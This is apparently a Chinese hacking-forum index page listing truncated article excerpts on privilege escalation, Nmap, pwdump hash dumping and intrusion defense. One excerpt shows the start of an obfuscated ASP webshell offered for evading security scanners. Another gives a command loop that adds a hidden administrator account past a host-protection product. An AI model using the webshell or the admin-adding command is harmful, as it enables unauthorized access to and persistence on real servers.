小编 在W2K中提升权限的几个攻击实例之成败心得
讲到Exploit都会涉及到提升权限的问题，所谓提升权限就是利用系统的漏洞来获得更高的Privilege。比如说，你用一般用户的账号登录Windows NT/Windows 2000后，你就只能作有限的操作，却不能加减用户，不能往系统目录中存写文件等等...
仅用windows自带的ftp.exe实现断点续传
动画下载地址： http://www.chinesehack.org/soft/book/goonftp-jc.rar建议使用全屏观看ftp断点续传(黑客进阶)hotmail出了一个题目 如果不使用 wget cuteftp 等ftp工具仅仅利用win...
Nmap备忘单：从探索到漏洞利用 第三章 NSE脚本的使用
众所周知NMAP是经常用来进行端口发现、端口识别。除此之外我们还可以通过NMAP的NSE脚本做很多事情，比如邮件指纹识别，检索WHOIS记录，使用UDP服务等。 发现地理位置 GorjanPetrovski提交了个NMAP的NSE脚本，帮助我们定位远程...
Nmap备忘单：从探索到漏洞利用 第二章 MITM
这是我们的第二期NMAP备忘单（第一期在此）。基本上,我们将讨论一些高级NMAP扫描的技术，我们将进行一个中间人攻击(MITM)。现在，游戏开始了。 TCP SYN扫描 SYN扫描是默认的且最流行的扫描选项是有一定原因的。它可以在不受防火墙限制的高速网...
常用的Linux网络安全工具简介
常用的Linux网络安全工具简介 尽管各种版本的Linux distribution 附带了很多开放源代码的自由软件，但是仍然有大量的有用 的工具没有被默认包括在它们的安装光盘内，特别是有一些可以增强Linux网络安全的工具包，它 们大多也是开放源...
pwdump的使用方法
作者:kingboy 来源:中国鹰派联盟 不知道大家有没有用过pwdump这个工具，这是一个用来抓取NT、WIN2000的用户密码文档的工具，最新的pwdump3可以用来抓取WIN2000的密码档（因为WIN2000使用了SYSKEY，所以老的pw...
一句话木马加密 过护卫神云查杀系统 过shell扫描器
分享给大家 暂时未测试 大家自己用用看 大马的代码是简单加密了下的！很容易解开看见 是加密的一段代码 复制代码 代码如下: <% codeds=\”Li#uhtxhvw+%{{%,#@%{%#wkhq#hydo#uhtxhvw+%kn...
安全狗下添加用户的另一方法(大量操作实现突破)
前几天发现的，略无语，因为简单到。。 直接在命令行下使用 for /l %i in (1,1,1000) do @net user test test /add&@net localgroup administrators test /add ...
Linux入侵检测基础学习
一、审计命令 在linux中有5个用于审计的命令： last：这个命令可用于查看我们系统的成功登录、关机、重启等情况；这个命令就是将/var/log/wtmp文件格式化输出。lastb：这个命令用于查看登录失败的情况；这个命令就是将/var/log/b...
请问你是黑客的菜吗？有效防范黑客入侵的绝招
在大多数人看来，这也许只是网络世界中一群拥有高超电脑技术的专业人士代名词；或者，很多人印象中的黑客，就如同电影《黑客帝国》中展现的那样出神入化。Palo AltoNetworks日前发布了一项由其赞助的调查结果，这份调查揭露了神秘黑客的收入、攻击花费的...
你的账号密码是怎样丢失的？暴力破解攻击的检测和防御
之前我们讲过关于“黑客1小时内破解16位密码”这样可怕的事情，里面提及了很多安全专家反复提醒用户设置账户和密码时要尽可能多样化，以防被破解。要知道，在这个大数据称霸天下的时代，网络安全意味着什么，意味着一切。 众所周知，iClo...
